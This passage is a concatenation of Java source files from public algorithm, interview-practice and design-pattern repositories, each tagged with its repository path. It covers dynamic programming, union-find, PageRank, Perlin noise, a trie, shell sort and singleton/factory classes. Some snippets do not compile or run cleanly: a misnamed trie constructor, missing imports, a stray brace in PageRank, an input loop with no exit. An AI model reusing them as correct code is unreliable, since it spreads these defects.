if (s == null || "".equals(s)) {
return s;
}
char[] values = s.toCharArray();
for (int i = 0; i < values.length; ++i) {
if (Character.isLetter(values[i]) && Character.isLowerCase(values[i])) {
values[i] = Character.toUpperCase(values[i]);
}
}
return new String(values);
}
}
| TheAlgorithms/Java | src/main/java/com/thealgorithms/strings/Upper.java |
1,257 | //There are a row of n houses, each house can be painted with one of the three colors: red, blue or green.
//The cost of painting each house with a certain color is different. You have to paint all the houses such
//that no two adjacent houses have the same color.
//The cost of painting each house with a certain color is represented by a n x 3 cost matrix. For example,
//costs[0][0] is the cost of painting house 0 with color red; costs[1][2] is the cost of painting house 1
//with color green, and so on... Find the minimum cost to paint all houses.
//Note:
//All costs are positive integers.
class PaintHouse {
public int minCost(int[][] costs) {
if(costs == null || costs.length == 0) {
return 0;
}
for(int i = 1; i < costs.length; i++) {
costs[i][0] += Math.min(costs[i - 1][1], costs[i - 1][2]);
costs[i][1] += Math.min(costs[i - 1][0], costs[i - 1][2]);
costs[i][2] += Math.min(costs[i - 1][0], costs[i - 1][1]);
}
return Math.min(Math.min(costs[costs.length - 1][0], costs[costs.length - 1][1]), costs[costs.length - 1][2]);
}
}
| kdn251/interviews | company/linkedin/PaintHouse.java |
1,258 | /**In my country, streets dont have names, each of them are
* just given a number as name. These numbers are supposed
* to be unique but that is not always the case. The local
* government allocates some integers to name the roads and
* in many case the number of integers allocated is less that
* the total number of roads. In that case to make road
* names unique some single character suffixes are used. So
* roads are named as 1, 2, 3, 1A, 2B, 3C, etc. Of course the
* number of suffixes is also always limited to 26 (A, B, . . . ,
* Z). For example if there are 4 roads and 2 different integers
* are allocated for naming then some possible assignments
* of names can be:
* 1, 2, 1A, 2B
* 1, 2, 1A, 2C
* 3, 4, 3A, 4A
* 1, 2, 1B, 1C
* Given the number of roads (R) and the numbers of
* integers allocated for naming (N), your job is to determine
* minimum how many different suffixes will be required (of
* all possible namings) to name the streets assuming that
* no two streets can have same names.
* Input
* The input file can contain up to 10002 lines of inputs. Each line contains two integers R and N
* (0 < N, R < 10001). Here R is the total number of streets to be named and N denotes number integers
* allocated for naming.
* Output
* For each line of input produce one line of output. This line contains the serial of output followed by
* an integer D which denotes the minimum number of suffixes required to name the streets. If it is not
* possible to name all the streets print ‘impossible’ instead (without the quotes).
* Sample Input
* 8 5
* 100 2
* 0 0
* Sample Output
* Case 1: 1
* Case 2: impossible
*/
//https://uva.onlinejudge.org/index.php?option=com_onlinejudge&Itemid=8&page=show_problem&problem=2823
import java.util.Scanner;
public class NumberingRoads {
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
int caseNumber = 1;
while (true) {
int first = input.nextInt();
int second = input.nextInt();
if (first == 0 && second == 0) {
break;
}
boolean found = false;
for (int i = 0; i < 27 && !found; i++) {
int sum = second + second * i;
if (sum >= first) {
System.out.print("Case " + caseNumber + ": " + i + "\n");
found = true;
}
}
if (!found) {
System.out.print("Case " + caseNumber + ": impossible\n");
}
caseNumber = caseNumber + 1;
}
}
}
| kdn251/interviews | uva/NumberingRoads.java |
1,264 | package com.thealgorithms.maths;
import java.util.Scanner;
/*A magic square of order n is an arrangement of distinct n^2 integers,in a square, such that the n
numbers in all rows, all columns, and both diagonals sum to the same constant. A magic square
contains the integers from 1 to n^2.*/
public final class MagicSquare {
private MagicSquare() {
}
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
System.out.print("Input a number: ");
int num = sc.nextInt();
if ((num % 2 == 0) || (num <= 0)) {
System.out.print("Input number must be odd and >0");
System.exit(0);
}
int[][] magic_square = new int[num][num];
int row_num = num / 2;
int col_num = num - 1;
magic_square[row_num][col_num] = 1;
for (int i = 2; i <= num * num; i++) {
if (magic_square[(row_num - 1 + num) % num][(col_num + 1) % num] == 0) {
row_num = (row_num - 1 + num) % num;
col_num = (col_num + 1) % num;
} else {
col_num = (col_num - 1 + num) % num;
}
magic_square[row_num][col_num] = i;
}
// print the square
for (int i = 0; i < num; i++) {
for (int j = 0; j < num; j++) {
if (magic_square[i][j] < 10) {
System.out.print(" ");
}
if (magic_square[i][j] < 100) {
System.out.print(" ");
}
System.out.print(magic_square[i][j] + " ");
}
System.out.println();
}
sc.close();
}
}
| TheAlgorithms/Java | src/main/java/com/thealgorithms/maths/MagicSquare.java |
1,266 | //Given an array of integers, every element appears three times except for one,
//which appears exactly once. Find that single one.
//Note:
//Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory?
class SingleNumberII {
public int singleNumber(int[] nums) {
HashMap<Integer, Integer> map = new HashMap<Integer, Integer>();
for(int i: nums) {
if(map.containsKey(i)) {
map.put(i, map.get(i) + 1);
} else {
map.put(i, 1);
}
}
for(int key: map.keySet()) {
if(map.get(key) == 1) {
return key;
}
}
//no unique integer in nums
return -1;
}
}
| kdn251/interviews | leetcode/hash-table/SingleNumberII.java |
1,267 | // There is a town with N citizens. It is known that some pairs of people are friends. According to the
// famous saying that “The friends of my friends are my friends, too” it follows that if A and B are friends
// and B and C are friends then A and C are friends, too.
// Your task is to count how many people there are in the largest group of friends.
// Input
// Input consists of several datasets. The first line of the input consists of a line with the number of test
// cases to follow.
// The first line of each dataset contains tho numbers N and M, where N is the number of town’s
// citizens (1 ≤ N ≤ 30000) and M is the number of pairs of people (0 ≤ M ≤ 500000), which are known
// to be friends. Each of the following M lines consists of two integers A and B (1 ≤ A ≤ N, 1 ≤ B ≤ N,
// A ̸= B) which describe that A and B are friends. There could be repetitions among the given pairs
// Output
// The output for each test case should contain (on a line by itself) one number denoting how many people
// there are in the largest group of friends on a line by itself.
// Sample Input
// 2
// 3 2
// 1 2
// 2 3
// 10 12
// 1 2
// 3 1
// 3 4
// 5 4
// 3 5
// 4 6
// 5 2
// 2 1
// 7 1
// 1 2
// 9 10
// 8 9
// Sample Output
// 3
// 7
import java.io.*;
import java.util.*;
/**
* Created by kdn251 on 2/15/17.
*/
public class Friends {
//initialize globals to track each individual person and their relationships
public static int[] people = new int[30001];
public static int[] relationships = new int[50001];
public static void main(String args[]) throws Exception {
//initialize buffered reader
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String line = br.readLine();
//store number of test cases
int testCases = Integer.parseInt(line);
for(int i = 0; i < testCases; i++) {
//determine number of people and pairs of people (N and M)
String[] info = br.readLine().split(" ");
int numberOfPeople = Integer.parseInt(info[0]);
int numberOfRelationship = Integer.parseInt(info[1]);
startUnion(numberOfPeople, people, relationships);
//iterate through all relationships
for(int j = 0; j < numberOfRelationship ; j++) {
//split current line to determine person and friend
String[] currentLine = br.readLine().split(" ");
int person = Integer.parseInt(currentLine[0]);
int friend = Integer.parseInt(currentLine[1]);
union(person, friend);
}
//initialize maxGroup to one because each group has one person initially
int maxGroup = 1;
//iterate through relationships to find the largest group
for(int j = 0; j <= numberOfPeople; j++) {
//update max as needed
maxGroup = relationships[j] > maxGroup ? relationships[j] : maxGroup;
}
//print result
System.out.println(maxGroup);
}
}
public static void startUnion(int numberOfPeople, int[] people, int[] relationships) {
for(int i = 0; i <= numberOfPeople; i++) {
//initialize each individual person
people[i] = i;
//each person initially has a group of one (themselves)
relationships[i] = 1;
}
}
public static void union(int person, int friend) {
//find parents in tree
person = find(person);
friend = find(friend);
if(person != friend) {
//add connection between person and friend
join(person, friend);
}
}
public static int find(int person) {
//traverse parents of tree if possible
if(people[person] != person) {
people[person] = find(people[person]);
}
return people[person];
}
public static void join(int person, int friend) {
//find larger group of the two and make sure both person and friend point to it
if(relationships[person] > relationships[friend]) {
relationships[person] += relationships[friend];
people[friend] = person;
}
else {
relationships[friend] += relationships[person];
people[person] = friend;
}
}
}
//source: https://github.com/morris821028/UVa/blob/master/volume106/10608%20-%20Friends.cpp#L27
| kdn251/interviews | uva/Friends.java |
1,270 | package com.thealgorithms.others;
import java.util.Scanner;
class PageRank {
public static void main(String[] args) {
int nodes, i, j;
Scanner in = new Scanner(System.in);
System.out.print("Enter the Number of WebPages: ");
nodes = in.nextInt();
PageRank p = new PageRank();
System.out.println("Enter the Adjacency Matrix with 1->PATH & 0->NO PATH Between two WebPages: ");
for (i = 1; i <= nodes; i++) {
for (j = 1; j <= nodes; j++) {
p.path[i][j] = in.nextInt();
if (j == i) {
p.path[i][j] = 0;
}
}
}
p.calc(nodes);
}
public int[][] path = new int[10][10];
public double[] pagerank = new double[10];
public void calc(double totalNodes) {
double InitialPageRank;
double OutgoingLinks = 0;
double DampingFactor = 0.85;
double[] TempPageRank = new double[10];
int ExternalNodeNumber;
int InternalNodeNumber;
int k = 1; // For Traversing
int ITERATION_STEP = 1;
InitialPageRank = 1 / totalNodes;
System.out.printf(" Total Number of Nodes :" + totalNodes + "\t Initial PageRank of All Nodes :" + InitialPageRank + "\n");
// 0th ITERATION _ OR _ INITIALIZATION PHASE //
for (k = 1; k <= totalNodes; k++) {
this.pagerank[k] = InitialPageRank;
}
System.out.print("\n Initial PageRank Values , 0th Step \n");
for (k = 1; k <= totalNodes; k++) {
System.out.printf(" Page Rank of " + k + " is :\t" + this.pagerank[k] + "\n");
}
while (ITERATION_STEP <= 2) { // Iterations
// Store the PageRank for All Nodes in Temporary Array
for (k = 1; k <= totalNodes; k++) {
TempPageRank[k] = this.pagerank[k];
this.pagerank[k] = 0;
}
for (InternalNodeNumber = 1; InternalNodeNumber <= totalNodes; InternalNodeNumber++) {
for (ExternalNodeNumber = 1; ExternalNodeNumber <= totalNodes; ExternalNodeNumber++) {
if (this.path[ExternalNodeNumber][InternalNodeNumber] == 1) {
k = 1;
OutgoingLinks = 0; // Count the Number of Outgoing Links for each ExternalNodeNumber
while (k <= totalNodes) {
if (this.path[ExternalNodeNumber][k] == 1) {
OutgoingLinks = OutgoingLinks + 1; // Counter for Outgoing Links
}
k = k + 1;
}
// Calculate PageRank
this.pagerank[InternalNodeNumber] += TempPageRank[ExternalNodeNumber] * (1 / OutgoingLinks);
}
}
System.out.printf("\n After " + ITERATION_STEP + "th Step \n");
for (k = 1; k <= totalNodes; k++) {
System.out.printf(" Page Rank of " + k + " is :\t" + this.pagerank[k] + "\n");
}
ITERATION_STEP = ITERATION_STEP + 1;
}
// Add the Damping Factor to PageRank
for (k = 1; k <= totalNodes; k++) {
this.pagerank[k] = (1 - DampingFactor) + DampingFactor * this.pagerank[k];
}
// Display PageRank
System.out.print("\n Final Page Rank : \n");
for (k = 1; k <= totalNodes; k++) {
System.out.printf(" Page Rank of " + k + " is :\t" + this.pagerank[k] + "\n");
}
}
}
}
| TheAlgorithms/Java | src/main/java/com/thealgorithms/others/PageRank.java |
1,275 | // There are a row of n houses, each house can be painted with one of the k colors. The cost of painting each house with a certain color is different. You have to paint all the houses such that no two adjacent houses have the same color.
// The cost of painting each house with a certain color is represented by a n x k cost matrix. For example, costs[0][0] is the cost of painting house 0 with color 0; costs[1][2] is the cost of painting house 1 with color 2, and so on... Find the minimum cost to paint all houses.
// Note:
// All costs are positive integers.
// Follow up:
// Could you solve it in O(nk) runtime?
public class PaintHouseII {
public int minCostII(int[][] costs) {
if(costs == null|| costs.length == 0) {
return 0;
}
int m = costs.length;
int n = costs[0].length;
int min1 = -1;
int min2 = -1;
for(int i = 0; i < m; i++) {
int last1 = min1;
int last2 = min2;
min1 = -1;
min2 = -1;
for(int j = 0; j < n; j++) {
if(j != last1) {
costs[i][j] += last1 < 0 ? 0 : costs[i - 1][last1];
} else {
costs[i][j] += last2 < 0 ? 0 : costs[i - 1][last2];
}
if(min1 < 0 || costs[i][j] < costs[i][min1]) {
min2 = min1;
min1 = j;
} else if(min2 < 0 || costs[i][j] < costs[i][min2]) {
min2 = j;
}
}
}
return costs[m - 1][min1];
}
}
| kdn251/interviews | company/facebook/PaintHouseII.java |
1,279 | /**
* An archeologist seeking proof of the presence of extraterrestrials in the Earth’s past, stumbles upon a
* partially destroyed wall containing strange chains of numbers. The left-hand part of these lines of digits
* is always intact, but unfortunately the right-hand one is often lost by erosion of the stone. However,
* she notices that all the numbers with all its digits intact are powers of 2, so that the hypothesis that
* all of them are powers of 2 is obvious. To reinforce her belief, she selects a list of numbers on which it
* is apparent that the number of legible digits is strictly smaller than the number of lost ones, and asks
* you to find the smallest power of 2 (if any) whose first digits coincide with those of the list.
* Thus you must write a program such that given an integer, it determines (if it exists) the smallest
* exponent E such that the first digits of 2
* E coincide with the integer (remember that more than half of
* the digits are missing).
* Input
* It is a set of lines with a positive integer N not bigger than 2147483648 in each of them.
* Output
* For every one of these integers a line containing the smallest positive integer E such that the first digits
* of 2
* E are precisely the digits of N, or, if there is no one, the sentence ‘no power of 2’.
* Sample Input
* 1
* 2
* 10
* Sample Output
* 7
* 8
* 20
*/
//https://uva.onlinejudge.org/index.php?option=com_onlinejudge&Itemid=8&page=show_problem&problem=642
import java.io.IOException;
import java.util.Scanner;
public class ArchaeologistsDilemma {
public static final boolean DEBUG = true;
public static final boolean DEBUG_INPUT = true;
final static double LOG2 = Math.log(2.0);
final static double LOG2_10 = Math.log(10) / LOG2;
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
while (true) {
long N = input.nextLong();
int k = (N + "").length() + 1;
long lowerBound = (long) ((Math.log(N) / LOG2) + k * LOG2_10);
long upperBound = (long) ((Math.log(N + 1) / LOG2) + k * LOG2_10);
while (lowerBound == upperBound) {
k++;
lowerBound = (long) ((Math.log(N) / LOG2) + k * LOG2_10);
upperBound = (long) ((Math.log(N + 1) / LOG2) + k * LOG2_10);
}
System.out.println(upperBound);
}
}
}
| kdn251/interviews | uva/ArchaeologistsDilemma.java |
1,280 | // Implement a trie with insert, search, and startsWith methods.
// Note:
// You may assume that all inputs are consist of lowercase letters a-z.
// Your Trie object will be instantiated and called as such:
// Trie trie = new Trie();
// trie.insert("somestring");
// trie.search("key");
class TrieNode {
HashMap<Character, TrieNode> map;
char character;
boolean last;
// Initialize your data structure here.
public TrieNode(char character) {
this.map = new HashMap<Character, TrieNode>();
this.character = character;
this.last = false;
}
}
public class ImplementTrie {
private TrieNode root;
public Trie() {
root = new TrieNode(' ');
}
// Inserts a word into the trie.
public void insert(String word) {
TrieNode current = root;
for(char c : word.toCharArray()) {
if(!current.map.containsKey(c)) {
current.map.put(c, new TrieNode(c));
}
current = current.map.get(c);
}
current.last = true;
}
// Returns if the word is in the trie.
public boolean search(String word) {
TrieNode current = root;
for(char c : word.toCharArray()) {
if(!current.map.containsKey(c)) {
return false;
}
current = current.map.get(c);
}
if(current.last == true) {
return true;
} else {
return false;
}
}
// Returns if there is any word in the trie
// that starts with the given prefix.
public boolean startsWith(String prefix) {
TrieNode current = root;
for(char c : prefix.toCharArray()) {
if(!current.map.containsKey(c)) {
return false;
}
current = current.map.get(c);
}
return true;
}
}
| kdn251/interviews | company/uber/ImplementTrie.java |
1,281 | /**
* Many well-known cryptographic operations require modular exponentiation. That is, given integers x,
* y and n, compute x
* y mod n. In this question, you are tasked to program an efficient way to execute
* this calculation.
* Input
* The input consists of a line containing the number c of datasets, followed by c datasets, followed by a
* line containing the number ‘0’.
* Each dataset consists of a single line containing three positive integers, x, y, and n, separated by
* blanks. You can assume that 1 < x, n < 2
* 15 = 32768, and 0 < y < 2
* 31 = 2147483648.
* Output
* The output consists of one line for each dataset. The i-th line contains a single positive integer z such
* that
* z = x
* y mod n
* for the numbers x, y, z given in the i-th input dataset.
* Sample Input
* 2
* 2 3 5
* 2 2147483647 13
* 0
* Sample Output
* 3
* 11
*/
//https://uva.onlinejudge.org/index.php?option=com_onlinejudge&Itemid=8&page=show_problem&problem=3671
import java.math.BigInteger;
import java.util.Scanner;
public class Modex {
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
int numberOfTestCases = input.nextInt();
while (numberOfTestCases != 0) {
BigInteger x = input.nextBigInteger();
BigInteger y = input.nextBigInteger();
BigInteger n = input.nextBigInteger();
BigInteger result = x.modPow(y, n);
System.out.println(result);
numberOfTestCases--;
}
}
}
| kdn251/interviews | uva/Modex.java |
1,285 | package com.thealgorithms.others;
import java.util.Random;
import java.util.Scanner;
/**
* For detailed info and implementation see: <a
* href="http://devmag.org.za/2009/04/25/perlin-noise/">Perlin-Noise</a>
*/
public final class PerlinNoise {
private PerlinNoise() {
}
/**
* @param width width of noise array
* @param height height of noise array
* @param octaveCount numbers of layers used for blending noise
* @param persistence value of impact each layer get while blending
* @param seed used for randomizer
* @return float array containing calculated "Perlin-Noise" values
*/
static float[][] generatePerlinNoise(int width, int height, int octaveCount, float persistence, long seed) {
final float[][] base = new float[width][height];
final float[][] perlinNoise = new float[width][height];
final float[][][] noiseLayers = new float[octaveCount][][];
Random random = new Random(seed);
// fill base array with random values as base for noise
for (int x = 0; x < width; x++) {
for (int y = 0; y < height; y++) {
base[x][y] = random.nextFloat();
}
}
// calculate octaves with different roughness
for (int octave = 0; octave < octaveCount; octave++) {
noiseLayers[octave] = generatePerlinNoiseLayer(base, width, height, octave);
}
float amplitude = 1f;
float totalAmplitude = 0f;
// calculate perlin noise by blending each layer together with specific persistence
for (int octave = octaveCount - 1; octave >= 0; octave--) {
amplitude *= persistence;
totalAmplitude += amplitude;
for (int x = 0; x < width; x++) {
for (int y = 0; y < height; y++) {
// adding each value of the noise layer to the noise
// by increasing amplitude the rougher noises will have more impact
perlinNoise[x][y] += noiseLayers[octave][x][y] * amplitude;
}
}
}
// normalize values so that they stay between 0..1
for (int x = 0; x < width; x++) {
for (int y = 0; y < height; y++) {
perlinNoise[x][y] /= totalAmplitude;
}
}
return perlinNoise;
}
/**
* @param base base random float array
* @param width width of noise array
* @param height height of noise array
* @param octave current layer
* @return float array containing calculated "Perlin-Noise-Layer" values
*/
static float[][] generatePerlinNoiseLayer(float[][] base, int width, int height, int octave) {
float[][] perlinNoiseLayer = new float[width][height];
// calculate period (wavelength) for different shapes
int period = 1 << octave; // 2^k
float frequency = 1f / period; // 1/2^k
for (int x = 0; x < width; x++) {
// calculates the horizontal sampling indices
int x0 = (x / period) * period;
int x1 = (x0 + period) % width;
float horizintalBlend = (x - x0) * frequency;
for (int y = 0; y < height; y++) {
// calculates the vertical sampling indices
int y0 = (y / period) * period;
int y1 = (y0 + period) % height;
float verticalBlend = (y - y0) * frequency;
// blend top corners
float top = interpolate(base[x0][y0], base[x1][y0], horizintalBlend);
// blend bottom corners
float bottom = interpolate(base[x0][y1], base[x1][y1], horizintalBlend);
// blend top and bottom interpolation to get the final blend value for this cell
perlinNoiseLayer[x][y] = interpolate(top, bottom, verticalBlend);
}
}
return perlinNoiseLayer;
}
/**
* @param a value of point a
* @param b value of point b
* @param alpha determine which value has more impact (closer to 0 -> a,
* closer to 1 -> b)
* @return interpolated value
*/
static float interpolate(float a, float b, float alpha) {
return a * (1 - alpha) + alpha * b;
}
public static void main(String[] args) {
Scanner in = new Scanner(System.in);
final int width;
final int height;
final int octaveCount;
final float persistence;
final long seed;
final String charset;
final float[][] perlinNoise;
System.out.println("Width (int): ");
width = in.nextInt();
System.out.println("Height (int): ");
height = in.nextInt();
System.out.println("Octave count (int): ");
octaveCount = in.nextInt();
System.out.println("Persistence (float): ");
persistence = in.nextFloat();
System.out.println("Seed (long): ");
seed = in.nextLong();
System.out.println("Charset (String): ");
charset = in.next();
perlinNoise = generatePerlinNoise(width, height, octaveCount, persistence, seed);
final char[] chars = charset.toCharArray();
final int length = chars.length;
final float step = 1f / length;
// output based on charset
for (int x = 0; x < width; x++) {
for (int y = 0; y < height; y++) {
float value = step;
float noiseValue = perlinNoise[x][y];
for (char c : chars) {
if (noiseValue <= value) {
System.out.print(c);
break;
}
value += step;
}
}
System.out.println();
}
in.close();
}
}
| TheAlgorithms/Java | src/main/java/com/thealgorithms/others/PerlinNoise.java |
1,286 | /**
* Your girlfriend Marry has some problems with programming task teacher gave her. Since you have
* the great programming skills it won’t be a problem for you to help her. And certainly you don’t want
* Marry to have her time spent on this task because you were planning to go to the cinema with her this
* weekend. If you accomplish this task Marry will be very grateful and will definitely go with you to the
* cinema and maybe even more. So it’s up to you now
* That’s the task she was given:
* Number 0 ≤ M ≤ 101000 is given, and a set S of different numbers from the interval [1;12]. All
* numbers in this set are integers. Number M is said to be wonderful if it is divisible by all numbers in
* set S. Find out whether or not number M is wonderful.
* Input
* First line of input data contains number N (0 < N ≤ 2000). Then N tests follow each described on
* two lines. First line of each test case contains number M. Second line contains the number of elements
* in a set S followed by a space and the numbers in the set. Numbers of this set are separated by a space
* character.
* Output
* Output one line for each test case: ‘M - Wonderful.’, if the number is wonderful or ‘M - Simple.’
* if it is not. Replace M character with the corresponding number. Refer output data for details.
* Sample Input
* 4
* 0
* 12 1 2 3 4 5 6 7 8 9 10 11 12
* 379749833583241
* 1 11
* 3909821048582988049
* 1 7
* 10
* 3 1 2 9
* Sample Output
* 0 - Wonderful.
* 379749833583241 - Wonderful.
* 3909821048582988049 - Wonderful.
* 10 - Simple.
*/
//https://uva.onlinejudge.org/index.php?option=com_onlinejudge&Itemid=8&page=show_problem&problem=2319
import java.math.BigInteger;
import java.util.Scanner;
public class TheHugeOne {
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
int numberOfTestCases = input.nextInt();
while (numberOfTestCases != 0) {
BigInteger M = input.nextBigInteger();
input.nextLine();
String[] elementsLine = input.nextLine().split(" ");
boolean found = false;
for (int i = 1; i < elementsLine.length; i++) {
BigInteger number = new BigInteger(elementsLine[i]);
if (!M.mod(number).equals(BigInteger.ZERO)) {
System.out.println(M + " - Simple.");
found = true;
break;
}
}
if (!found) {
System.out.println(M + " - Wonderful.");
}
numberOfTestCases--;
}
}
}
| kdn251/interviews | uva/TheHugeOne.java |
1,290 | /*
* This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt).
*
* The MIT License
* Copyright © 2014-2022 Ilkka Seppälä
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.iluwatar.factory;
/**
* Factory of coins.
*/
public class CoinFactory {
/**
* Factory method takes as a parameter the coin type and calls the appropriate class.
*/
public static Coin getCoin(CoinType type) {
return type.getConstructor().get();
}
}
| smedals/java-design-patterns | factory/src/main/java/com/iluwatar/factory/CoinFactory.java |
1,291 | /**
* Umm! So, you claim yourself as an intelligent one? Let me check. As, computer science students always
* insist on optimization whenever possible, I give you an elementary problem of math to optimize.
* You are trying to cross a river of width d meters. You are given that, the river flows at v ms−1 and
* you know that you can speed up the boat in u ms−1
* . There may be two goals how to cross the river:
* One goal (called fastest path) is to cross it in fastest time, and it does not matter how far the flow of
* the river takes the boat. The other goal (called shortest path) is to steer the boat in a direction so that
* the flow of the river doesn’t take the boat away, and the boat passes the river in a line perpendicular to
* the boarder of the river. Is it always possible to have two different paths, one to pass at shortest time
* and the other at shortest path? If possible then, what is the difference (Let P s) between the times
* needed to cross the river in the different ways?
* Input
* The first line in the input file is an integer representing the number of test cases. Each of the test cases
* follows below. Each case consists three real numbers (all are nonnegative, d is positive) denoting the
* value of d, v and u respectively.
* Output
* For each test case, first print the serial number of the case, a colon, an space and then print ‘can’t
* determine’ (without the quotes) if it is not possible to find different paths as stated above, else print
* the value of P corrected to three digits after decimal point. Check the sample input & output.
* Sample Input
* 3
* 8 5 6
* 1 2 3
* 1 5 6
* Sample Output
* Case 1: 1.079
* Case 2: 0.114
* Case 3: 0.135
*/
//https://uva.onlinejudge.org/index.php?option=onlinejudge&Itemid=99999999&page=show_problem&category=&problem=1714
import java.text.DecimalFormat;
import java.util.Scanner;
public class BackToIntermediateMath {
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
int numberOfTestCases = input.nextInt();
DecimalFormat formatter = new DecimalFormat("#0.000");
for (int i = 0; i < numberOfTestCases; i++) {
double distance = input.nextDouble();
double riverSpeed = input.nextDouble();
double boatSpeed = input.nextDouble();
if (riverSpeed == 0 || boatSpeed == 0 || boatSpeed <= riverSpeed) {
System.out.println("Case " + (i + 1) + ": can't determine");
} else {
double P1 = distance / boatSpeed;
double P2 = distance
/ Math.sqrt(boatSpeed * boatSpeed - riverSpeed
* riverSpeed);
System.out.print("Case " + (i + 1) + ": "
+ formatter.format(Math.abs(P1 - P2)) + "\n");
}
}
}
}
| kdn251/interviews | uva/BackToIntermediateMath.java |
1,292 | // Given a binary tree, return all root-to-leaf paths.
// For example, given the following binary tree:
// 1
// / \
// 2 3
// \
// 5
// All root-to-leaf paths are:
// ["1->2->5", "1->3"]
/**
* Definition for a binary tree node.
* public class TreeNode {
* int val;
* TreeNode left;
* TreeNode right;
* TreeNode(int x) { val = x; }
* }
*/
public class BinaryTreePaths {
public List<String> binaryTreePaths(TreeNode root) {
List<String> result = new ArrayList<String>();
if(root == null) {
return result;
}
helper(new String(), root, result);
return result;
}
public void helper(String current, TreeNode root, List<String> result) {
if(root.left == null && root.right == null) {
result.add(current + root.val);
}
if(root.left != null) {
helper(current + root.val + "->", root.left, result);
}
if(root.right != null) {
helper(current + root.val + "->", root.right, result);
}
}
}
| kdn251/interviews | leetcode/tree/BinaryTreePaths.java |
1,293 | //Determine whether an integer is a palindrome. Do this without extra space.
class PalindromeNumber {
public boolean isPalindrome(int x) {
if(x < 0) {
return false;
}
int num = x;
int reversed = 0;
while(num != 0) {
reversed = reversed * 10 + num % 10;
num /= 10;
}
return x == reversed;
}
}
| kdn251/interviews | leetcode/math/PalindromeNumber.java |
1,296 | /**
* Hashmat is a brave warrior who with his group of young soldiers moves from one place to another to
* fight against his opponents. Before Fighting he just calculates one thing, the difference between his
* soldier number and the opponent’s soldier number. From this difference he decides whether to fight or
* not. Hashmat’s soldier number is never greater than his opponent.
* Input
* The input contains two numbers in every line. These two numbers in each line denotes the number
* soldiers in Hashmat’s army and his opponent’s army or vice versa. The input numbers are not greater
* than 232. Input is terminated by ‘End of File’.
* Output
* For each line of input, print the difference of number of soldiers between Hashmat’s army and his
* opponent’s army. Each output should be in seperate line.
* Sample Input
* 10 12
* 10 14
* 100 200
* Sample Output
* 2
* 4
* 100
*/
//https://uva.onlinejudge.org/index.php?option=com_onlinejudge&Itemid=8&page=show_problem&problem=996
import java.util.Scanner;
public class HashmatWarriors {
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
String nextLine = input.nextLine();
while (!"".equals(nextLine)) {
String[] nums = nextLine.split(" ");
long firstNum = Long.valueOf(nums[0]);
long secondNum = Long.valueOf(nums[1]);
System.out.println(Math.abs(secondNum - firstNum));
nextLine = input.nextLine();
}
}
}
| kdn251/interviews | uva/HashmatWarriors.java |
1,297 | package com.thealgorithms.sorts;
public class ShellSort implements SortAlgorithm {
/**
* Implements generic shell sort.
*
* @param array the array to be sorted.
* @param <T> the type of elements in the array.
* @return the sorted array.
*/
@Override
public <T extends Comparable<T>> T[] sort(T[] array) {
int length = array.length;
int gap = 1;
/* Calculate gap for optimization purpose */
while (gap < length / 3) {
gap = 3 * gap + 1;
}
for (; gap > 0; gap /= 3) {
for (int i = gap; i < length; i++) {
int j;
T temp = array[i];
for (j = i; j >= gap && SortUtils.less(temp, array[j - gap]); j -= gap) {
array[j] = array[j - gap];
}
array[j] = temp;
}
}
return array;
}
/* Driver Code */
public static void main(String[] args) {
Integer[] toSort = {4, 23, 6, 78, 1, 54, 231, 9, 12};
ShellSort sort = new ShellSort();
sort.sort(toSort);
for (int i = 0; i < toSort.length - 1; ++i) {
assert toSort[i] <= toSort[i + 1];
}
SortUtils.print(toSort);
}
}
| TheAlgorithms/Java | src/main/java/com/thealgorithms/sorts/ShellSort.java |
1,299 | /*
* This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt).
*
* The MIT License
* Copyright © 2014-2022 Ilkka Seppälä
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.iluwatar.singleton;
/**
* Singleton class. Eagerly initialized static instance guarantees thread safety.
*/
public final class IvoryTower {
/**
* Private constructor so nobody can instantiate the class.
*/
private IvoryTower() {
}
/**
* Static to class instance of the class.
*/
private static final IvoryTower INSTANCE = new IvoryTower();
/**
